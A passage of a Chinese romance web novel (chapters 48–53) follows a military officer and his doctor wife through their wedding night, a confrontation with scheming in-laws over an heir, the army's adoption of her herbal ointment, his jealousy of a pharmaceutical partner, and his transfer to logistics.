傅清寒看着怀里那张因为红酒而微微泛红的娇俏脸庞,感受着手下细腻柔软的肌肤,喉结不自觉地滚动了一下。 他俯下身,滚烫的唇贴着她的耳朵,声音沙哑得不像话:“夫人满意就好……或者我们再做点什么解乏的?嗯?” 第48章 花好月圆 白凝凝被他呼出的热气弄得耳朵发痒,还没来得及回答。 “怎么不说话了?嗯?” 他已经转到她面前,将她圈在沙发和自己之间,那双深邃的黑眸里,是再也无法压抑的、滚烫的火焰。 “我们……好像已经错过了两次。”他凝视着她的眼睛,声音里带着一丝蛊惑和急切,“白神医,是不是该来……亲自验收一下你的治疗成果了?” “唔……胡说……” 白凝凝所有的抗议,都被他用一个带着淡淡酒香的、缠绵而又霸道的吻,尽数吞没。 这一次,再也没有催命的电话,再也没有不合时宜的意外。 他抱着她,一路从沙发吻到了卧室的大床上。 柔软的床铺,仿佛是情感的催化剂。傅清寒的吻,变得更加炙热和深入。他的手,像带着火,在她细腻的肌肤上游走,点燃一簇簇燎原的火焰。 白凝凝从未经历过这样的阵仗,即使是前世,她也是单身狗,现在自己的身体在他的攻城略地之下,不受控制地战栗着。她紧张地攥着身下的床单,像一叶漂浮在狂风暴雨中的扁舟,只能任由这个强大的男人,主宰着她的一切。 傅清寒察觉到了她的紧张和青涩。 在即将进入正题的前一刻,他停了下来。他用额头抵着她的,那双染上了浓重情欲的黑眸,在黑暗中亮得惊人,却又带着一丝努力克制的温柔。 “凝凝,”他的声音,沙哑得不成样子,“看着我。” 白凝凝缓缓睁开那双水光潋滟的眸子,对上了他那双深不见底的眼。 “别怕。”他吻去她眼角的泪珠,声音里是前所未有的郑重和珍视,“把自己交给我。” 这句话,像一道温柔的指令,瞬间击溃了白凝凝心中最后一丝防线。她看着眼前这个深爱着自己的男人,缓缓地、用行动代替了语言,伸出双臂,主动地、带着一丝颤抖地,勾住了他的脖子。 这无声的邀请,是压垮傅清寒理智的最后一根稻草! 他闷哼一声,不再有任何克制! 当两人最终融为一体的那一刻,白凝凝疼得轻呼出声,而傅清寒则僵住了所有的动作。他低下头,用细细密密的吻,落在她的额头、鼻尖、唇角,用最极致的温柔,安抚着她的不适。 “乖……放松……” 他用一种近乎虔诚的姿态,引领着她,从最初的青涩疼痛,慢慢走向一场前所未有的、令人沉沦的感官盛宴。 窗外的月光,悄悄地爬上窗棂,偷看着这满室的旖旎。 这一夜,傅清寒食髓知味,一遍又一遍地,在她耳边,用那种近乎喟叹的、沙哑至极的声音,呢喃着: “凝凝……我的……” —— 第二天清晨,傅清寒醒来时,只觉得身心都得到了前所未有的满足。他看着怀里睡得正香、像只小猫一样蜷缩着的小女人,心中软得一塌糊涂。 这是他的。完完全全,属于他一个人。 他没有立刻起床,而是拨通了副官詹骁的电话。 “老大!早上好!今天的晨练安排……” “晨练你来组织。”傅清寒打断了他,用一种理所当然的语气说道,“另外,给我请一天假。” “……啊?”电话那头的詹骁,以为自己听错了,“老大,您说什么?请假?您不是从不……” “凝凝身体不舒服,需要照顾。”傅清寒说完,不给詹骁任何追问的机会,直接挂了电话。 留下詹骁一个人在风中凌乱:天呐!万年冰山铁树开花的傅团长,竟然为了陪老婆,破天荒地请假了?!这绝对是军区年度十大新闻之首! 挂了电话,怀里的人儿也悠悠转醒。白凝凝一睁眼,就对上了男人那双充满了笑意和宠溺的眼睛。 昨晚那些疯狂而又羞人的画面涌上心头,她的脸颊瞬间爆红。 “早。”傅清寒轻笑一声,将她从被子里捞了出来,在她额上印下一个吻,“累坏了吧?” 白凝凝羞得不敢看他,只觉得浑身都像是被拆开重组了一遍,酸软无力。 傅清寒看着她那副慵懒又害羞的模样,眼神不由得暗了几分。他从床头柜里,拿出一瓶活血化瘀的药膏,声音沙哑地开口:“别乱动,我给你上点药。” 上药?! 白凝凝的脑子“轰”的一声,瞬间反应过来他指的是哪里! 她的脸颊瞬间红了个通透,连带着小巧的耳垂和纤细的脖颈,都泛起了一层诱人的粉色。 “不……不用了!”她一把抢过药膏,紧紧地攥在手里,梗着脖子,努力做出专业的模样,嘴硬地反驳道,“我……我可是医生!这种事,我自己来就行!” “哦?是吗?”傅清寒看着她那副“你别小看我”的逞强模样,眼中闪过一丝戏谑的笑意,却没有再坚持。 他俯下身,在她唇上重重地啄了一下,声音里带着一丝意味深长:“好,那你自己来。我去给你做早餐。” 说完,他便好整以暇地起身,走出了卧室。 白凝凝看着他离开的背影,这才松了口气,连忙手忙脚乱地给自己上了药,只觉得指尖都带着烫人的温度。 没过多久,傅清寒就端着早餐回来了。一碗热气腾腾的鸡丝粥,还有她爱吃的几样爽口小菜。 他将餐盘放在床头,却没有立刻喂她,而是好整以暇地坐在床边,一双深邃的黑眸,饶有兴致地看着她。 白凝凝被他看得浑身不自在:“你……你干嘛这么看着我?” 傅清寒的嘴角,缓缓勾起一抹腹黑的弧度。他凑到她耳边,用一种充满了暗示性的、低沉磁性的嗓音,轻声问道: “早餐前,是不是该……先让我检查一下?” “检……检查什么?”白凝凝的心瞬间提到了嗓子眼。 “检查药……上得怎么样了。”他的声音,像掺了最醇厚的酒,又带着一丝不容错辨的坏笑,“我怎么知道,我们白大神医,会不会因为害羞……就偷懒了?” “我没有!”她又羞又气地反驳。 “有没有,不是嘴上说的。”傅清寒低低一笑,那只温热的大手,已经不容拒绝地、缓缓探入了被子里,带着不容抗拒的力道,向着那最私密的地方滑去…… 第49章 忘记告诉你们,我已经好了 “别……我真上过了。”白凝凝哪里好意思让他看。 “还是……让我亲手检查一下,比较放心。” “唔……你!”白凝凝浑身一个激灵,身体瞬间就软了半边。 她所有的嘴硬和反抗,都在男人那充满了侵略性和宠溺的动作下,化为了一声细若蚊蚋的、带着哭腔的嘤咛。 空气中充满了甜得冒泡的粘稠感。一场晨间运动,在所难免。 —— 两人没羞没臊在小院里腻歪了两天后,傅老爷子八十大寿的日子,也渐渐近了。 这天,两人回到主宅,商议寿宴的细节。 就看见周玉芬轻手轻脚地端着一碗冒着热气的、油汪汪的老母鸡汤,给楚小小端过去。 “小小啊,快,趁热把这碗鸡汤喝了。这可是我炖了一晚上的,最是补身子了!”她满脸堆笑,语气谄媚得像个伺候主子的老妈子。“你可得小心点,这孩子是咱们家的指望,可金贵着呢。” 楚小小斜靠在沙发上,闻着那股油腻的味道,心里一阵反胃,但还是捏着鼻子喝了几口。 周玉芬厚着脸皮,招呼凝凝道:“凝凝啊,你也尝尝,鸡汤最是滋补的。” 她就是要当众刺激白凝凝,让她知道自己是个不会下蛋的母鸡! 楚小小也适时地在一旁,抚摸着小腹,炫耀道:“是啊小婶婶,妈说这个对身体好。可惜你……唉,你要是也能有个孩子,该多好呀。” 白凝凝还没说话,傅清寒却笑了。 因为昨晚“运动”太久,早上又被折腾了一番,没什么胃口。傅清寒看在眼里,疼在心里。炖了冰糖燕窝装在保温桶里,倒出了一碗,颜色纯正,还散发着淡淡清香。 他用勺子一勺一勺地吹凉了,然后极其自然地递到白凝凝嘴边:“张嘴,多少吃一点,养养精神。” 一股清甜的香气瞬间弥漫开来。 周玉芬看着那晶莹剔透、一看就知是顶级的燕窝,再看看自己手里那碗油腻的鸡汤,脸色瞬间变得难看起来。 楚小小更是嫉妒得眼睛都红了。她忍不住拉了拉周玉芬的衣袖,酸溜溜地撒娇:“妈,你看小婶婶吃的……我也想吃燕窝。” 周玉芬一边安抚地拍着她的手,一边压低声音,用一种嫉妒又轻蔑的语气嘀咕道: “哼,吃得再好有什么用?还不是只开花不结果的铁树!一个生不出蛋的女人,再宝贝也就是个摆设!你放心,小小,你肚子里的,才是咱们傅家名正言顺的第一个金孙!是唯一的!” 她们以为自己的声音足够小,却没料到,傅清寒的听力何其敏锐。 他喂食的动作微微一顿,那双深邃的黑眸里,瞬间闪过一丝寒光。 但那寒光只是一闪而过,快得让人无法捕捉。 他没有当场发作,只是抬起眼帘,像是看跳梁小丑一样淡淡地扫了那对还在做着“继承家业”美梦的婆媳一眼。 然后,他低下头,继续用勺子舀起一勺晶莹的燕窝,吹了吹,温柔地递到白凝凝嘴边,仿佛刚才听到的,只是两只苍蝇的嗡嗡声,不值一提。 “乖,再吃一口。”他的声音,温柔得能滴出水来,与刚才那冰冷的眼神,形成了极致的反差。 白凝凝也察觉到了他的情绪变化,她握了握他的手,示意他犯不上为这种人生气。 傅清寒回握住她,用眼神安抚她。然后,他忽然像是想起了什么,抬起头,对着周玉芬和楚小小,状似无意地开口了。 他的声音不大,却像一颗投入平静湖面的石子,清晰地传到了在场每一个人的耳朵里。 “大嫂,有件事,我忘了跟你们说。” 周玉芬和楚小小都是一愣,下意识地看了过来。 傅清寒的嘴角,勾起一抹意味深长的、甚至可以说是残忍的弧度。他看着楚小小那微微隆起的小腹,慢悠悠地、一字一句地说道: “我的伤,已经彻底好了。” “轰——!” 这句话,像一道晴天霹雳,狠狠地劈在了周玉芬和楚小小的头顶! 什么?! 他的伤……好了?! 这意味着什么? 这意味着,他傅清寒,不再是那个她们眼中的“绝嗣之人”! 这意味着,白凝凝,不再是那个她们口中的“不会下蛋的母鸡”! 周玉芬的脸,瞬间血色尽失,她张着嘴,难以置信地看着傅清寒,半天说不出一句话来。 如果不是傅家唯一的血脉,将来怎么侵吞,啊,不对,是继承傅清寒的家产? 楚小小更是如遭雷击!她所有的底气和依仗,都是这腹中的胎儿。不然她干嘛费尽心思嫁给傅向阳啊?想的不就是有朝一日整个傅家,包括傅清寒在内的所有家产都是她的吗? 可现在突然说傅清寒能自己生,这不是要了她的命吗? 她的靠山轰然倒塌!手不自觉地抚上自己的小腹,眼神里充满了前所未有的惊慌和恐惧! 傅清寒欣赏着她们那副精彩纷呈的表情,心中没有一丝波澜。他要的,就是这个效果。 他要用最简单、最直接的方式,击碎她们所有的幻想! 他将最后一口燕窝喂进白凝凝嘴里,然后抽出纸巾,温柔地替她擦了擦嘴角。做完这一切,他才站起身,居高临下地看着那对已经石化的婆媳,用一种近乎宣判的语气,淡淡地说道: “所以,大嫂,以后别再说些什么‘唯一的香火’之类的蠢话了。” 他的目光,最后落在楚小小那张惨白的脸上,语气里带着一丝冰冷的警告: “各人行事,给各自后代积福。管好你自己的嘴,也管好自己的肚子。就别操心我们家的事了。” 傅清寒和白凝凝的身影消失在门口,客厅里陷入了一片死寂。 楚小小最先反应过来,这不可能!她是重生的,明明傅清寒就生不了,这是多少专家都看过的! 但刚刚他那副笃定的态度让她心里没底,她像是抓救命稻草一样拉着周玉芬的胳膊,声音里充满了无法抑制的恐慌,“傅清寒他……他真的好了?” 第50章 中医世家陆泽远 周玉芬的脸色一阵青一阵白,心中同样翻江倒海。但很快根深蒂固的“经验”和嫉妒,让她强行找到了合情合理的解释! 她反手抓住楚小小的手,像是安慰她,更像是在安慰自己,压低了声音,咬牙切齿地说道: “你别听他胡说八道!他就是故意吓唬我们!就是眼红我们向阳有后了,故意说这种话来气我们呢!” 她的眼神笃定:“你想想看,他当年伤得多重?连国外最权威的专家都给他判了死刑,说他这辈子都不可能有孩子了!白凝凝是有点医术,但她还能比国外的专家更厉害?还能逆天改命不成?”越说越觉得傅清寒是在吹牛。 楚小小听着周玉芬的分析,那颗慌乱的心也渐渐地安定了下来。 是啊!傅清寒绝嗣,这是整个大院都知道的铁板钉钉的事!他怎么可能说好就好? “他肯定就是看我们家有‘金孙’了,他那边还是个不会下蛋的母鸡,心里不平衡!”周玉芬越说越觉得自己的猜测是对的,语气也变得恶狠狠起来,“他这是在使诈!想让我们自乱阵脚!我们偏不能上他的当!” 她拍了拍楚小小的手,重新给她打气:“小小,你把心放回肚子里!你肚子里的,现在依旧是咱们傅家唯一的根!是独一份的宝贝!他傅清寒再能耐,也得眼巴巴地看着!将来他那份家业,还不是得留给我们孙子?” “对……妈,你说得对!”楚小小像是找到了主心骨,连连点头。 经过一番“自欺欺人”的分析,两人又重新找回了那点可怜的“自信”。她们都选择相信,傅清寒只是在虚张声势,是个纸老虎。 —— 傅清寒在“问题军服”事件后续汇报中,将白凝凝力挽狂澜的表现,以及她提供的药膏和药方,一五一十地正式上报给了军区高层。 很快,高层批复派遣了军区总院的院长李建国,以及几位院里最权威的皮肤科专家来调查情况。几人亲自登门,来到了傅清寒的小院。 李建国见识过凝凝的医术,但这毕竟不是给一个人看病,而是事关那么多的将士,他不能不小心。所以他心里还存着一丝对“方子”的审慎。 白凝凝用现代医学和传统药理,深入浅出地讲解了药膏“清热解毒、去腐生肌”的原理后,以他为首的所有专家都露出了震惊和叹服的神情。 “奇迹!真是神乎其神啊!”李建国院长激动地握着白凝凝的手,“白同志,你这不仅仅是药膏,这是我们部队的福音啊!有这么好的东西我们要是不用,那才是暴殄天物!” 随后他和周围人的简短讨论了一下,郑重地告诉凝凝和傅清寒,“我们决定,正式将这款药膏,列为我们军区的‘特供皮肤创伤修复膏’!以后,我们战士们的训练和作战,就多了一重最重要的保障!” 还不等两人说话,李院长继续道:“这件事你们就不用管了,我亲自给上面打报告申请。清寒,照顾好你媳妇。这可是大功一件啊。” 因为李院长的背书,皮肤创伤修复膏的项目以极高的姿态诞生了。 它不是普通的化妆品,而是具有军方官方背书的“军用药品”,起点之高,足以让京市所有同行都望尘莫及。 军区的大订单很快就下来了,但随之而来的,是量产和质量品控的巨大难题。虽然有核心配方,但军工生产和之前凝悦民用的生产线不一样,标准和审批都要求更高。 正在她愁眉不展之际,傅清寒不知道什么时候出现,“怎么了?什么事情难住我们小神医了?” 凝凝白了他一眼,不自觉地叹气,“这个太麻烦了,和我们之前用的生产线不一样,要不直接把方子上交给国家,让李院长他们自己找人弄吧。” 傅清寒笑了笑,“原来是因为这个啊?遇到困难就想着打退堂鼓了?”说着他把人揽过来,抱在怀里。“你想想,你出的方子,却不监督着生产,交给上面,万一将来效果不好了,是怪你的方子呢?还是怪上级生产的不合格?” 这……凝凝愣了一下,她倒是没想到这一层……“那怎么办……”她在他怀里蹭了一下,“要不我去问问慕白哥?” “嗯?”傅清寒的怀抱收紧了一些,“怎么?有事先想到陈慕白,不先问问你老公我吗?” 白凝凝嗤笑一声,捏了他鼻子一下,“这还吃上醋了?幼不幼稚啊你,这种事你能有什么办法?” “你不问我,怎么知道我没有?”说完把她手拿开,握住。用鼻子轻轻蹭蹭她的鼻尖。 “嗯……”凝凝点点头,“那我现在问你,你打算怎么办?” “好,真乖”傅清寒亲了她脸颊一下,“其实,你找陈慕白也没用。他跑批文,打通关节还可以。药品生产这种事你得找一个人。” “谁?”凝凝好奇,能让傅清寒说这样的话,必然不是一般人。 “陆泽远,你其实和他打过交道,之前你拜托慕白办审批的时候就是他在药监局打的招呼。我已经帮你约好了,周末我们见见。” —— 见面的地点,约在了京市一家雅致的茶馆。傅清寒以“不放心你一个人”为由,坚持要亲自送她过去,并且理所当然地留了下来。 陆泽远气质温润干净,皮肤带着成年不见阳光的苍白,浑身透着一股书卷气。他在看到白凝凝的那一刻,眼中也闪过一丝惊讶。作为中药世家的他早就听过白凝凝的大名,在一众院士手足无措之际,把陈老总从鬼门关捞了回来。 后来更是听慕白时常提起,知道是个小姑娘。却没想到,真人竟然如此年轻。 “白小姐,久仰大名。”陆泽远主动伸出手。 “陆先生,你好。之前的事还没来得及当面谢谢你。”白凝凝也礼貌地回应,指的是跑审批的事情。· 傅清寒坐在一旁,没有说话,只是端着茶杯,目光看似平静地落在茶汤上,眼角的余光却一秒也没离开过两人交握的手。 凝凝很快步入正题,将特供皮肤创伤修复膏订单的事大致说了一遍,并提出了自己在量产和品控上的担忧。 陆泽远听完,温润的脸上露出一丝苦笑,他叹了口气,目光中带着一丝挣扎和无奈,问出了一个困扰他许久的问题: “白小姐,实不相瞒。我个人非常认同你的理念,但在我们陆家,几位守旧的长辈始终认为,工业化量产是对祖宗基业的背叛。他们觉得,离开了古法炮制和一人一方,中医药就失了‘魂’,做出来的东西,不过是些没用的汤汤水水。那你如何看待这个‘魂’?” 白凝凝察觉到他眼神中的期待。也许眼前的这个人也在为这件事烦恼。她没有急着回答,而是拿起桌上的茶壶,为他添了一杯茶,动作从容而优雅。 “陆先生,”她放下茶壶,抬起眼帘,清澈的眸子里闪烁着睿智的光芒,“你觉得,是古法烧出来的柴火饭香,还是现在用电饭煲焖出来的米饭好?” 陆泽远一愣,下意识道:“自然是柴火饭,米香更浓郁。” “那为何现在家家户户都用电饭煲?”白凝凝不紧不慢地追问。 “这……”陆泽远语塞,“因为……方便快捷。” “这就对了。”白凝凝微微一笑,一针见血,“柴火饭虽好,但耗时耗力,无法惠及千家万户。而我们要做的事,不是为了做一份给皇帝老子吃的‘御膳’,而是要让成千上万在前线流血流汗的战士,都能用上好药,快速愈合伤口。” 她顿了顿,语气变得锐利起来:“在我看来,能救人的药,就是有‘魂’的药。长辈们的心意是好的,但如果因为坚守形式上的‘魂’,而让好方子锁在柜子里,让本可以被救治的人得不到救治,那才是真正的‘舍本逐末’,是最大的‘失魂’!” 这番话,如同一阵清风吹散了陆泽远心中所有的迷雾! “舍本逐末……最大的‘失魂’!”他喃喃地重复着这句话,眼中爆发出前所未有的光彩! 他找到了!他终于找到了那个足以说服家中所有老古董,也说服自己的想法! 眼前的白凝凝年纪轻轻,却有着如此通透豁达的见解,他的眼神从一开始的客套和审视,变成了棋逢对手的欣赏,最后又化为了找到失散多年知音和“革命战友”的狂喜! “妙啊!实在是妙!”陆泽远激动地一拍大腿,完全忘了他一贯的温润形象,“白小姐,不,凝凝!你简直是我的知己!我怎么就没想到呢!” 他像是找到了宣泄口,立刻将自己所有的困惑和构想全盘托出:“那你觉得,像我们家那张祖传的‘玉容散’,如果也想让更多人用上,该从何处下手?里面的白芷和白芨是关键,但产量一直跟不上……” “核心药材可以建立专属的种植基地,古法炮制。而辅助性的,完全可以用现代技术提取有效成分,效果甚至更好!” “对对对!那如果我再加入……” 两人你一言我一语,迅速进入了忘我的探讨模式。他们眼中只有彼此,完全沉浸在了思想碰撞的乐趣中,仿佛整个世界都只剩下他们两个人。 而坐在对面的傅清寒,端着茶杯的手,已经不自觉地越收越紧,指节都有些发白了。 第51章 傅牌醋缸 他看着两人聊着他完全听不懂的专业术语,凝凝眼中亮晶晶,闪烁着智慧的光芒。 他为她感到骄傲。可同时一股莫名的酸溜溜的情绪,也开始不受控制地在心底发酵。尤其是当陆泽远激动地站起身,说出那句“白小姐!能和您合作,是我的荣幸!”时,傅清寒只觉得这句话无比别扭和刺耳。 他虽然听不太懂那些药材的名字,但他看得懂! 他看得懂陆泽远看着自己妻子时,那毫不掩饰的、越来越亮的欣赏和……惊艳。 他也看得懂,自己的小妻子在谈到她擅长的领域时,那双眼睛里闪烁出的、让他既骄傲又有些陌生的、神采飞扬的光芒。 那是一种棋逢对手、灵魂共鸣的光芒。 一种……他傅清寒从未在她眼中看到过的光芒。 一股莫名的、酸溜溜的情绪,像打翻了的醋坛子,悄无声息地在他心底弥漫开来。 他知道,他应该为她高兴。他的小姑娘,正在被更多优秀的人认可,她的才华正在绽放出更耀眼的光芒。 可他就是……不爽! 非常不爽! 这种感觉,就像自己珍藏多年的宝贝,突然被一个外人发现了它的好,还想凑上来一起欣赏、一起探讨,让他产生了一种领地被侵犯的强烈危机感。 终于,在他忍耐了将近一个小时后,眼看着陆泽远激动得就差拉着白凝凝的手秉烛夜谈了,傅清寒终于“忍无可忍”。 他重重地将茶杯往桌上一放,发出一声不大不小,却足以打断两人谈话的“砰”声。 然后,他站起身,极其自然地走到白凝凝身后,伸出双臂,以一个绝对占有的姿态,将她圈在自己和椅子之间,低下头,用一种宠溺又带着一丝不容置喙的强势语气说道: “凝凝,聊了这么久,渴不渴?我去给你换杯热茶。” 他的声音,不大,却足以让对面的陆泽远,清晰地听到那一声无比亲昵的“凝凝”。 白凝凝聊得正起劲,被打断后有些不解地抬起头,却对上了傅清寒那双深不见底的、带着一丝幽怨的黑眸。 而陆泽远,在看到傅清寒这个充满了浓浓占有欲的动作时,也瞬间从学术的狂热中清醒了过来。他这才后知后觉地意识到,自己好像……光顾着兴奋,忘了旁边还坐着一尊大佛。 一尊……气压极低、浑身散发着“闲人勿近”气息的活阎王。 他看着傅清寒那副“这是我媳妇,你看够了没有”的护食模样,心中不禁失笑。 看来,坊间传闻傅团长是个宠妻狂魔,此言不虚啊。 “我们是不是该回去了?下午你不是还要去医院会诊?” 凝凝点头,拿出自己的手稿:“陆先生,这是我关于修复膏后续产品的一些不成熟的想法和配方改良方向,你先看着。等我从医院回来,我们再详谈。” 陆泽远连忙接过,如获至宝!他知道,这份手稿的价值,无可估量!“好!白小姐,你先忙!”他已经迫不及待想回去钻研了。 傅清寒看着这一幕,脸色更难看一些,走上前,极其自然地将凝凝往自己身后一带,自己则站在了她与陆泽远之间,以一种绝对的保护者和主导者的姿态,对陆泽远伸出手: “陆先生,合作愉快。我太太以后,就多劳你费心了。” 那句“我太太”,他咬得格外重。 陆泽远失笑,握住傅清寒的手:“傅团长放心,公是公,私是私。以后还要多仰仗傅团长和傅太太了。” 那句“傅太太”,陆泽远也咬得格外重。 见他如此上道,傅清寒的脸色这才好看了些。 然而,这笔账,傅团长已经默默地记在了心里。 —— 当晚,白凝凝刚洗漱完,裹着浴袍走出浴室,就被一堵滚烫坚硬的“肉墙”堵住了去路。 傅清寒双臂环胸,靠在门框上,一双深不见底的黑眸,沉沉地看着她,眼神里是再明显不过的“秋后算账”。 “洗完了?”他开口,声音平淡,却带着一丝危险的气息。 “洗……洗完了。”白凝凝被他看得心头一跳,下意识地想从旁边溜走。 男人却长臂一伸,直接将她困在了自己和墙壁之间。 “下午聊得挺开心?”他俯下身,鼻尖几乎要碰到她的,温热的呼吸喷在她敏感的脸颊上,“知音?荣幸?临走还要送手稿?” 白凝凝的脸颊瞬间就红了,她梗着脖子嘴硬道:“我们那是……那是正常的学术交流!你这人怎么这么小心眼!” “小心眼?”傅清寒低低地笑了一声,那笑声里,充满了危险的意味。他伸出手指,轻轻勾起她的下巴,强迫她看着自己,声音沙哑得能滴出水来。“我就是小心眼。” “我的妻子,当着我的面,跟别的男人相谈甚欢,我就是不高兴。” 他顿了顿,目光灼灼地盯着她那双因为羞恼而愈发水光潋滟的眸子,一字一句,像是在宣布判决: “所以,傅太太,你是不是该……对我这个‘小心眼’的丈夫,做点补偿?” 不等白凝凝反应,他已经低下头,用一个带着浓浓“醋意”和惩罚意味的吻,狠狠地攫住了她的唇。 这个吻,和他以往任何一次都不同。没有试探,没有温柔,充满了霸道的、不容拒绝的侵略性。他像一头发怒的雄狮,在用最原始的方式,向全世界宣告着自己的主权。 他一路将她吻着,从浴室门口,到柔软的大床上。 当他将她压在身下的那一刻,他微微退开一丝距离,看着身下被他吻得眼波迷离、娇喘吁吁的小女人,眼中的怒火渐渐被更深、更滚烫的欲望所取代。 “说,”他用额头抵着她的,声音沙哑得不像话,“那个姓陆的,有我好看吗?” 这幼稚又霸道的问题,让白凝凝又羞又好笑,她抬起粉拳捶了他一下:“无聊啊……你幼不幼稚!” “回答我。”他抓住她的小手,放在唇边轻咬了一下,像是在惩罚她的不专心。 白凝凝被他咬得浑身一颤,只能缴械投降,声音细若蚊蚋:“没……没你好看……” “那你今天晚上就好好看看。” “傅清寒你混蛋……压到我头发了!” 当晚,傅清寒把人压在床上折腾到半夜这才放过她。 等到凝凝睡熟,傅清寒破天荒地,走进了那个他之前从不踏足的、堆满了白凝凝医书的房间。 他看着那些书架上密密麻麻的、书名都看不懂的《本草纲目》、《黄帝内经》、《伤寒杂病论》……眉头紧紧地皱了起来。 第52章 明贬暗升,傅清寒调到后勤上 他引以为傲的军事技能、格斗技巧,在今天下午那个他完全听不懂的领域里,变得一无是处。他只能像个局外人一样,看着自己的妻子和别的男人相谈甚欢。 虽然他明白两人光明磊落,但他还是非常不爽。 他也想有一天能和凝凝一起讨论那些他现在听不懂的东西。 他深吸一口气,从书架上,抽出了一本看起来最基础的《中草药入门图谱》。 他要学! 哪怕看不懂那些深奥的药理,至少,他要能分得清当归和人参,要知道什么是金银花,什么是板蓝根! 他要知道,他的女孩,每天都在为什么而着迷。他要能听得懂,她在说些什么。 于是,深夜的小院里,出现了一副极其诡异又和谐的画面—— 白凝凝被折腾惨了,小脸绯红躺在床上沉沉睡去,而傅清寒在书房里,对着一本草药图谱,眉头紧锁,像是在研究一场最重要的战役部署图。他甚至拿出纸笔,开始一笔一划地抄写“金银花:清热解毒”、“板蓝根:凉血利咽”……那副认真又跟自己较劲的模样,像个被老师罚抄一百遍单词的小学生。 —— 第二天,一通来自军区司令部的电话,就将正在跟“当归”和“党参”较劲的傅清寒召了过去。 司令员办公室里,气氛严肃。与傅家交好的王上将亲自为他倒了一杯茶,开门见山,先扬后抑。 “清寒啊,这次的‘问题军服’事件,你大义灭亲,你媳妇的药膏也力挽狂澜,你们处理的很好。但是傅建军是你亲大哥,影响还是有的。” 傅清寒坐得笔直,“我明白,我愿意接受组织的安排”。他心里明白,早晚都会来的,他从举报的时候就已经有心理准备了。 果然,王上将话锋一转,语气变得语重心长起来:“安排确实有。但组织上还是信任你的,也愿意再给傅家一个机会,让你给傅家挽回声誉的机会。” “军区党委研究决定,你原定的晋升计划,暂时搁置。调你去军区后勤部,担任副部长,主抓军需物资的采购与监察工作。” 王上将拍了拍他的肩膀,“清寒啊,后勤部是个烂摊子。但也是个能出成绩的地方。能不能把傅家丢掉的脸,重新捡回来,就看你的了。” 从执掌利刃、前途无量的王牌团长,调去管柴米油盐的后勤部门,在外人看来,是“变相流放”。 但在傅清寒听来,这却是组织上给予的信任、重托,以及一个“戴罪立功”的机会! 他猛地站起身,立正,敬了一个标准的军礼,声音洪亮如钟:“是!保证完成任务!绝不辜负组织的信任!” 王上将欣慰地点了点头,“对了,清寒。你之前提交的那份,关于推广‘凝悦修复膏’、并与地方上陆家药厂合作的报告,组织上原则上已经批准了。这个项目,也将由你这个新上任的后勤部副部长,亲自来督办。” 傅清寒的眼神,微微一凝。 他瞬间明白了上级更深层的用意。 这不仅仅是考验,更是一场公开的、放在放大镜下的“避嫌考试”! 让他亲自去督办自己妻子的项目,就是要让所有人都看着,看他傅清寒,究竟是会利用职权为家人大开绿灯,还是能真正做到公私分明,为部队争取到最大的利益。 “报告首长!请组织放心!” “我傅清寒,向来公私分明。既然是为部队甄选最优良的物资,那就更要举贤不避亲!” “正因为‘凝悦’的创始人是我的妻子,所以我对它的审查,只会比任何其他供应商,更严格,更苛刻!我保证,会以最无可挑剔的标准,来完成这次采购的督办工作,绝不辜负组织的信任!” —— 当晚,傅清寒回到家,白凝凝正在灯下绘制“凝悦”新产品的包装设计图。俏丽的小脸异常专注就连他的靠近都没察觉。 他心中一片柔软,走过去,从身后抱住她,下巴抵在她肩上看着图纸,状似无意地开口:“以后,我可能有更多时间,陪你研究这些瓶瓶罐罐了。” 白凝凝一愣,放下了手中的画笔:“什么意思?” “没什么,”傅清寒轻描淡写地说,“工作调动,不去一线带兵了,调去后勤部,主管军需采购。” 白凝凝瞬间就明白过来了!她转过身,抓住他的手,眼中充满了心疼和自责:“是不是……因为你大哥的事,你被牵连了?” 傅清寒看着她那双写满了担忧的眸子,心中又软又暖。他将她揽进怀里,揉了揉她的头发。 “傻瓜,想什么呢?跟你没关系。”他顿了顿,话锋一转,用一种半开玩笑、半认真的语气说道,“不过,我这个新官上任,第一把火,恐怕就要烧到我们傅太太的公司头上了。” “啊?”白凝凝更不解了。 傅清寒看着她,眼中闪过一丝腹黑的精光:“组织上让我亲自督办‘凝悦’进入军需采购体系的项目。所以,从明天开始,我就是甲方,而你和陆泽远,是乙方。” 他捏了捏她的小脸,语气里带着一丝不易察觉的戏谑的“公事公办”: “比如说,白老板,你们公司的产品包装,用的纸张和油墨,环保无毒的检测报告准备好了吗?能不能达到军用的阻燃防潮标准?” “还有你们的生产线,卫生许可证、操作流程、品控记录,都经得起我们军方纪委的随时抽查吗?” “以及你们的运输和仓储,安保措施到不到位?恒温恒湿的条件达不达标?这些,可都是要写进最终评估报告里的。” 他三言两语,就将一个看似“以权谋私”的便利,变成了一场“高标准、严要求”的公开考核。 白凝凝冰雪聪明,瞬间就明白了他这番话里的深意!他不是在刁难她,而是在用这种最严格、最无可挑剔的方式,来保护她,也保护刚刚诞生的项目! 她正要感动地说些什么,傅清寒却又笑着补充了一句: “不过,这些事虽然重要,但也琐碎。用不着你这个‘白董’亲力亲为地操心。陆泽远来负责在合适不过。” “那我负责什么?”这不是把活都扔给陆泽远吗? “你呀……有更重要的是事。”傅清寒一笑,把人揽进怀里,“当然是在家给我这个甲方好好讲讲,你们的核心理念什么的啊。我可没有中药基础,所以你得深入浅出地好好教教我才行。”他故意在深入浅出几个字上加重了语气。 白凝凝听出他言语中促狭之意,小脸一红,挣扎一下无果,“没个正经。你这是公报私仇啊,醋精!” “谁说的,我这是物尽其用,人尽其才。” 第53章 脑子是个好东西 陆泽远也很快接到消息,到傅家小院。 一进来便直奔主题:“傅部长,恭喜高升。你去了后勤部,以后就负责我们这一块了?”他的语气里,带着一丝调侃,却并无半分谄媚。 “谈不上高升。”傅清寒面无表情地回了一句,“以后打交道的地方确实更多了。” 他指了指沙发,示意陆泽远坐下,自己则坐在了白凝凝的身边,手极其自然地放在凝凝身后沙发靠背上,显然是将凝凝纳入了自己的保护圈。 “凝凝是首席科学家,负责配方。而你,”傅清寒的目光,变得锐利起来,直直地看向陆泽远,“是首席技术官,负责生产。所以,具体的要求,我和你谈。” “……SOP文件,可追溯记录方案,对公账户的独立审计……所有标准,必须对标,甚至超越现行的军用药品生产管理规范。陆先生,有问题吗?” 陆泽远听着这些专业又严苛的要求,非但没有觉得被刁难,反而心里了然。他知道,这是傅清寒在逼着他们,把“凝悦”打造成一个毫无破绽的、真正顶级的品牌! “没问题!”他激动地推了推眼镜,“傅部长,您放心!三天之内,您要的所有文件,都会放在您的办公桌上!” 傅清寒满意地点了点头。 